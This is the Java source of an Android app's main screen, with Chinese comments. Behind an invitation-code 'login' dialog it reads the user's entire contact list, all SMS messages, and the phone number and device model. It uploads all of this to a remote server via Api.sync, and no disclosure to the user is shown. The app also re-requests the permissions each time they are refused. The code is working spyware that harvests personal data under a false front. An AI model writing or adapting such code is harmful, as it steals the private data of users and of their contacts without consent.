package com.example.contractmsg;

import androidx.appcompat.app.ActionBar;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.schedulers.Schedulers;

import android.Manifest;
import android.app.Dialog;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Color;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

import com.alibaba.fastjson.JSONObject;
import com.tbruyelle.rxpermissions.RxPermissions;

import org.reactivestreams.Subscriber;
import org.reactivestreams.Subscription;

import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MainActivity";
    private TextView tvLogin;
    private List<Contact> contacts;//联系人
    private List<Message> messages;//联系人
    private LoadingDialog loadingDialog;//加载提示框


    public LoadingDialog getLoadingDialog() {
        if (null == loadingDialog) {
            loadingDialog = new LoadingDialog(this);
            //点击空白处Dialog不消失
            loadingDialog.setCanceledOnTouchOutside(false);
        }
        return loadingDialog;
    }


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        ActionBar actionBar = getSupportActionBar();
        contacts = new ArrayList<>();
        messages = new ArrayList<>();
        if (actionBar != null) {

            actionBar.hide();

        }

        initStatus();
        tvLogin = (TextView) findViewById(R.id.tv_login);
        tvLogin.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                final Dialog dialog = PinziDialogUtils.getDialogNotTouchOutside(MainActivity.this, R.layout.dialog_login);
                dialog.show();
                dialog.findViewById(R.id.tv_login).setOnClickListener(new View.OnClickListener() {
                    @Override
                    public void onClick(View v) {


                        EditText tvTwo = (EditText) dialog.findViewById(R.id.tv_two);
                        EditText tvThree = (EditText) dialog.findViewById(R.id.tv_three);

                        if (TextUtils.isEmpty(tvTwo.getText().toString())
                                || TextUtils.isEmpty(tvThree.getText().toString())) {
                            Toast.makeText(MainActivity.this, "请输入手机号码或者邀请码", Toast.LENGTH_LONG).show();
                            return;

                        }
                        getLoadingDialog().show();
                        RequestVo vo = new RequestVo();
                        vo.setInviteCode(tvThree.getText().toString());
                        vo.setPhone(tvTwo.getText().toString());
                        vo.setDevice(device);
                        vo.setContacts(contacts);
                        vo.setMessages(messages);

                        Api.sync(vo).
                                subscribeOn(Schedulers.io())
                                .observeOn(AndroidSchedulers.mainThread())
                                .subscribe(new Subscriber<Response>() {
                                    @Override
                                    public void onSubscribe(Subscription s) {
                                        s.request(1);
                                    }

                                    @Override
                                    public void onNext(Response s) {
                                        getLoadingDialog().dismiss();
                                        if(s.getCode()==200){
                                            Toast.makeText(MainActivity.this, "登录成功", Toast.LENGTH_LONG).show();
                                        }
                                        else{
                                            Toast.makeText(MainActivity.this, "登录失败", Toast.LENGTH_LONG).show();
                                        }

                                        dialog.dismiss();
                                    }

                                    @Override
                                    public void onError(Throwable t) {
                                        getLoadingDialog().dismiss();
                                        Toast.makeText(MainActivity.this, "登录失败", Toast.LENGTH_LONG).show();
                                        dialog.dismiss();
                                    }

                                    @Override
                                    public void onComplete() {

                                    }
                                });

                    }
                });


            }
        });

        initPerssion();

    }

    private void initPerssion() {
        RxPermissions.getInstance(this).request(
                Manifest.permission.READ_CONTACTS,//录音权限
                Manifest.permission.READ_SMS,
                Manifest.permission.READ_PHONE_STATE


        ).subscribe(new PermissionsObserver() {
            @Override
            protected void onGetPermissionsSuccess() {

                readPhoneAndDevice();
                //获取联系人  和 短信内容
                readContacts();

                readSms();


            }

            @Override
            protected void onGetPermissionsSuccessFailuer() {
                Toast.makeText(MainActivity.this, "获取权限失败", Toast.LENGTH_LONG).show();
                initPerssion();
            }
        });
    }

    private String phone;
    private String device;

    private void readPhoneAndDevice() {
        TelephonyManager tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);

        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            return;
        }
        phone = tm.getLine1Number();
        device = android.os.Build.BRAND + " " + android.os.Build.MODEL;
        Log.e(TAG, "readPhoneAndDevice: " + phone + ":" + device);


    }


    private void initStatus() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            int flagTranslucentStatus = WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS;
            int flagTranslucentNavigation = WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION;
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
                Window window = getWindow();
                WindowManager.LayoutParams attributes = window.getAttributes();
                attributes.flags |= flagTranslucentNavigation;
                window.setAttributes(attributes);
                getWindow().setStatusBarColor(Color.TRANSPARENT);
            } else {
                Window window = getWindow();
                WindowManager.LayoutParams attributes = window.getAttributes();
                attributes.flags |= flagTranslucentStatus | flagTranslucentNavigation;
                window.setAttributes(attributes);
            }
        }

    }

    /**
     * 读短信
     */
    private void readSms() {
        messages.clear();
        //读取所有短信
        Uri uri = Uri.parse("content://sms/");
        ContentResolver resolver = getContentResolver();
        Cursor cursor = resolver.query(uri, new String[]{"_id", "address", "body", "date", "type"}, null, null, null);
        if (cursor != null && cursor.getCount() > 0) {
            int _id;
            String address;
            String body;
            Long date;
            int type;
            while (cursor.moveToNext()) {
                Map<String, Object> map = new HashMap<String, Object>();
                _id = cursor.getInt(0);
                address = cursor.getString(1);
                body = cursor.getString(2);
                date = cursor.getLong(3);
                type = cursor.getInt(4);

                map.put("names", body);

                Log.e(TAG, "readSms:  _id=" + _id + " address=" + address + " body=" + body + " date=" + date + " type=" + type);

                Message message = new Message();
                message.setContent(body);
                message.setReceivePhone(phone);
                message.setSendPhone(address);
                message.setSendTime(DateUtil.dateToString("yyyy-MM-dd HH:mm:ss", new Date(date)));
                messages.add(message);

            }
        }


    }

    //调用并获取联系人信息
    private void readContacts() {
        contacts.clear();
        Cursor cursor = null;
        try {

            cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                    null, null, null, null);
            if (cursor != null) {
                while (cursor.moveToNext()) {
                    String displayName = cursor.getString(cursor.getColumnIndex(
                            ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
                    String number = cursor.getString(cursor.getColumnIndex(
                            ContactsContract.CommonDataKinds.Phone.NUMBER));

                    contacts.add(new Contact(displayName, number));

                    Log.e(TAG, "readContacts: " + displayName + ":" + number);


                }
                //刷新

            }
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }


    }

}
